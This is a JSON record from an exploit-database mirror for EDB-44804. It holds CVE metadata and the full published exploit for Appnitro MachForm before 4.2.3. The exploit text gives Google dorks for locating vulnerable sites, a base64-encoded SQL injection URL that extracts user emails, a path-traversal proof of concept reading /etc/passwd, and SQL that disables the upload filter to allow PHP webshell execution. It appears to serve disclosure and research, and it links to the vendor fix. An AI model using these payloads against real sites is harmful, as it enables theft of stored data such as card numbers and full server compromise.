{"exploit":{"id":"EDB-44804","name":"Appnitro MachForm < 4.2.3 - SQL Injection (SQLi) / Path Traversal / Upload Bypass","description":"Appnitro MachForm < 4.2.3 - SQL Injection (SQLi) / Path Traversal / Upload Bypass","cves":["CVE-2018-6411","CVE-2018-6410","CVE-2018-6409"],"author":"Amine Taouirsa","published":"2018-05-30","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44804","path":"exploits/php/webapps/44804.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44804.txt","vulnerabilities":[{"id":"CVE-2018-6411","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in Appnitro MachForm before 4.2.3. When the form is set to filter a blacklist, it automatically adds dangerous extensions to the filters. If the filter is set to a whitelist, the dangerous extensions can be bypassed through ap_form_elements SQL Injection.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-6411","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-6411"},"updatedAt":"2024-08-05T06:01:49.282Z","retrievedAt":"2026-11-27T16:21:54.406Z","stale":false,"error":null},{"id":"CVE-2018-6410","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in Appnitro MachForm before 4.2.3. There is a download.php SQL injection via the q parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-6410","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-6410"},"updatedAt":"2024-08-05T06:01:49.241Z","retrievedAt":"2026-11-27T16:22:00.902Z","stale":false,"error":null},{"id":"CVE-2018-6409","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in Appnitro MachForm before 4.2.3. The module in charge of serving stored files gets the path from the database. Modifying the name of the file to serve on the corresponding ap_form table leads to a path traversal vulnerability via the download.php q parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-6409","cvss":{"version":"3.0","baseScore":5.3,"severity":"medium","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-6409"},"updatedAt":"2024-08-05T06:01:49.253Z","retrievedAt":"2026-11-27T16:12:30.151Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44804.png?v=2","url":"https://exploitbin.com/exploits/EDB-44804","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44804/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44804/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Vendor: Appnitro\nProduct webpage: https://www.machform.com/\nFull-Disclose: https://metalamin.github.io/MachForm-not-0-day-EN/\nFix: https://www.machform.com/blog-machform-423-security-release/\n\nAuthor: Amine Taouirsa\nTwitter: @metalamin\n\nGoogle dork examples:\n----------------------\n\"machform\" inurl:\"view.php\"\n\"machform\" inurl:\"embed.php\"\n\nSummary:\n---------\nThe form creation platform MachForm from Appnitro is subject to SQL\ninjections that lead to path traversal and arbitrary file upload.\n\nThe application is widely deployed and with some google dorks it’s possible\nto find various webpages storing sensitive data as credit card numbers with\ncorresponding security codes. Also, the arbitrary file upload can let an\nattacker get control of the server by uploading a WebShell.\n\n[1] SQL injection (CVE-2018-6410):\n-------------------------\n\n[1.1] Description:\nThe software is subject to SQL injections in the ‘download.php’ file.\n\n[1.2] Parameters and statement:\nThis SQLi can be found on the parameter ‘q’ which a base64 encoded value\nfor the following parameters:\n\n  $form_id = $params['form_id'];\n  $id      = $params['id'];\n  $field_name = $params['el'];\n  $file_hash  = $params['hash'];\n\n\nSo the injectable parameters are ‘el’ and ‘form_id’ obtaining error-based,\nstacked queries and time-based blind SQL injections. This is due to the\nfollowing vulnerable statement:\n\n  $query = \"select {$field_name} from `\".MF_TABLE_PREFIX.\"form_{$form_id}`\nwhere id=?\";\n\n\n[1.3] POC\nProof of concept to get the first user mail:\n  http:// [URL] / [Machform_folder] /download.php?q=\nZWw9IChTRUxFQ1QgMSBGUk9NKFNFTEVDVCBDT1VOVCgqKSxDT05DQVQoMHgy\nMDIwLChTRUxFQ1QgTUlEKCh1c2VyX2VtYWlsKSwxLDUwKSBGUk9NIGFwX3Vz\nZXJzIE9SREVSIEJZIHVzZXJfaWQgTElNSVQgMCwxKSwweDIwMjAsRkxPT1Io\nUkFORCgwKSoyKSl4IEZST00gSU5GT1JNQVRJT05fU0NIRU1BLkNIQVJBQ1RF\nUl9TRVRTIEdST1VQIEJZIHgpYSkgOyZpZD0xJmhhc2g9MSZmb3JtX2lkPTE=\n\nWhich is the base64 encoding for:\n  el= (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x2020,(SELECT\nMID((user_email),1,50) FROM ap_users ORDER BY user_id LIMIT\n0,1),0x2020,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP\nBY x)a) ;&id=1&hash=1&form_id=1\n\n\n[2] Path traversal (CVE-2018-6409):\n-----------------------------------\n\n[2.1] Descrition\ndownload.php’ is used to serve stored files from the forms answers.\nModifying the name of the file to serve on the corresponding ap_form table\nleads to a path traversal vulnerability.\n\n[2.2] POC\nFirst we need to change the name for the element on the form:\nupdate ap_form_58009 set element_4=\"../../../../../../.\n./../../../../../../../../../etc/passwd\" where id=1;\n\nNow in order to be able to download it, we need to access:\n  http:// [URL] / [Machform_folder] /download.php?q=\nZWw9NCZpZD0xJmhhc2g9NDAyYmEwMjMwZDZmNDRhMmRlNTkwYWMxMTEwN2E0\nNTgmZm9ybV9pZD01ODAwOQo=\n\nWhich is the base64 encoding for;\n  el=4&id=1&hash=402ba0230d6f44a2de590ac11107a458&form_id=58009\n\nNote that hash is the MD5 of the corresponding filename:\n  md5(\"../../../../../../../../../../../../../../../../etc/passwd\") =\n402ba0230d6f44a2de590ac11107a458\n\n[3] Bypass file upload filter (CVE-2018-6411):\n----------------------------------------------\n\nWhen the form is set to filter a blacklist, it automatically add dangerous\nextensions to the filters.\nIf the filter is set to a whitelist, the dangerous extensions can be\nbypassed.\n\nThis can be done directly on the database via SQLi\nupdate ap_form_elements set element_file_type_list=\"php\",\nelement_file_block_or_allow=\"a\" where form_id=58009 and element_id=4;\n\nOnce uploaded the file can be found and executed in the following URL:\nhttp:// [URL] / [Machform_folder] /data/form_58009/files/ [filename]\n\nThe filename can be found in the database\nSELECT element_4 FROM ap_form_58009 WHERE id=1;","sha256":"e97be3e2eb62eed3a0abd49c9dae1fb81cfe0b8c8072d8cedd3e3ea48f8c39d6","bytes":3765,"fetchedAt":"2026-11-27T16:12:25.969Z","encoding":"utf-8 (display only; download retains original bytes)"}